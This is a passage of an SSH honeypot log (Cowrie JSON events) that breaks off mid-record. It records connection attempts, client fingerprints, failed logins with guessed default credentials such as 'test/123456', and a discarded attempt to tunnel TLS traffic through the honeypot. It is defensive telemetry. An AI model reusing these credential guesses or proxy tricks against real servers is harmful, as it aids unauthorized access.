{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xc7\\xea\\x7f\\x03\\x8f\\xf6X\\x07t?\\xc9\\xf1m+n:N\\xbdF\\x82\\xf8\\x14\\x12\\x9b\\xcc\\x00]y#)t |+\\xf5,\\xe2\\x15A\\xb5\\x80\\x1c\\x0f\\xe6<\\xb3'[o\\x0b\\x10\\xbf\\xe8\\xa3\\x148U\\xe4\\x8c\\x9a\\x10\\xe5\\xae\\xc3\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\xf4\\xf4\\xed\\x86\\xfa\\xf9\\xbd\\xb3\\xd0|@\\xd0\\xa3\\x8b\\xba\\xc2E\\xc8\\xd6\\xe9\\x8d\\xb8\\x8d2\\xbe\\xe1\\x96\\x03\\xa5\\xc54\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xc7\\xea\\x7f\\x03\\x8f\\xf6X\\x07t?\\xc9\\xf1m+n:N\\xbdF\\x82\\xf8\\x14\\x12\\x9b\\xcc\\x00]y#)t |+\\xf5,\\xe2\\x15A\\xb5\\x80\\x1c\\x0f\\xe6<\\xb3'[o\\x0b\\x10\\xbf\\xe8\\xa3\\x148U\\xe4\\x8c\\x9a\\x10\\xe5\\xae\\xc3\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa0\\xf4\\xf4\\xed\\x86\\xfa\\xf9\\xbd\\xb3\\xd0|@\\xd0\\xa3\\x8b\\xba\\xc2E\\xc8\\xd6\\xe9\\x8d\\xb8\\x8d2\\xbe\\xe1\\x96\\x03\\xa5\\xc54\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:19.460029Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:19.922404Z","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:20.011117Z","src_ip":"91.92.40.36","session":"aff4e6619d42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:20.160335Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e\\x81\\x99\\x93\\xaebR6Y\\xfe-\\xe8\\xa6\\x98\\x81\\xdf\\x0e\\xda1\\xcd\\xa4\\x9c\\xd9\\x941\\x04%J\\x12y\\x05Z \\xdd\\xfd\\xcf\\xf2[\\xc7\\x94\\xfci\\xfb\\x10\\x8e\\xa1\\xc8\\xfa\\xee\\xd5\\xd52\\xd0a[n\\x10Y\\xbcQoi7\\x9f`\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\rU,\\x18L\\xd36\\xd3)\\xe9\\x8b\\xf8\"\\xe4\\x14\\x0e\\xdei#@\\x84l\\x9b[\\xb8\\xd14j\\xf2\\'\\xbf\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8e\\x81\\x99\\x93\\xaebR6Y\\xfe-\\xe8\\xa6\\x98\\x81\\xdf\\x0e\\xda1\\xcd\\xa4\\x9c\\xd9\\x941\\x04%J\\x12y\\x05Z \\xdd\\xfd\\xcf\\xf2[\\xc7\\x94\\xfci\\xfb\\x10\\x8e\\xa1\\xc8\\xfa\\xee\\xd5\\xd52\\xd0a[n\\x10Y\\xbcQoi7\\x9f`\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\rU,\\x18L\\xd36\\xd3)\\xe9\\x8b\\xf8\"\\xe4\\x14\\x0e\\xdei#@\\x84l\\x9b[\\xb8\\xd14j\\xf2\\'\\xbf\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:20.164288Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:20.428994Z","src_ip":"45.153.34.195","session":"2b0c4653c49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:20.606223Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28742,"dst_ip":"10.17.0.5","dst_port":22,"session":"836788d900da","protocol":"ssh","message":"New connection: 45.153.34.195:28742 (10.17.0.5:22) [session: 836788d900da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:21.625666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:21.634950Z","src_ip":"45.153.34.195","session":"836788d900da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:21.727666Z","src_ip":"45.153.34.195","session":"836788d900da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":50863,"dst_ip":"10.17.0.5","dst_port":22,"session":"60c5aa118d93","protocol":"ssh","message":"New connection: 73.36.177.174:50863 (10.17.0.5:22) [session: 60c5aa118d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:22.089920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:22.100353Z","src_ip":"73.36.177.174","session":"60c5aa118d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:22.150068Z","src_ip":"73.36.177.174","session":"60c5aa118d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:22.263729Z","src_ip":"45.153.34.195","session":"836788d900da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"1234","message":"login attempt [sonar/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:22.383018Z","src_ip":"73.36.177.174","session":"60c5aa118d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:23.348698Z","src_ip":"45.153.34.195","session":"836788d900da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:23.428459Z","src_ip":"73.36.177.174","session":"60c5aa118d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26864,"dst_ip":"10.17.0.5","dst_port":22,"session":"1064ac17a90c","protocol":"ssh","message":"New connection: 91.92.40.36:26864 (10.17.0.5:22) [session: 1064ac17a90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:23.583280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:23.948707Z","src_ip":"91.92.40.36","session":"1064ac17a90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:23.954519Z","src_ip":"91.92.40.36","session":"1064ac17a90c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":48712,"dst_ip":"10.17.0.5","dst_port":22,"session":"7435cdbe2bb6","protocol":"ssh","message":"New connection: 45.153.34.195:48712 (10.17.0.5:22) [session: 7435cdbe2bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:24.553257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:24.562415Z","src_ip":"45.153.34.195","session":"7435cdbe2bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sh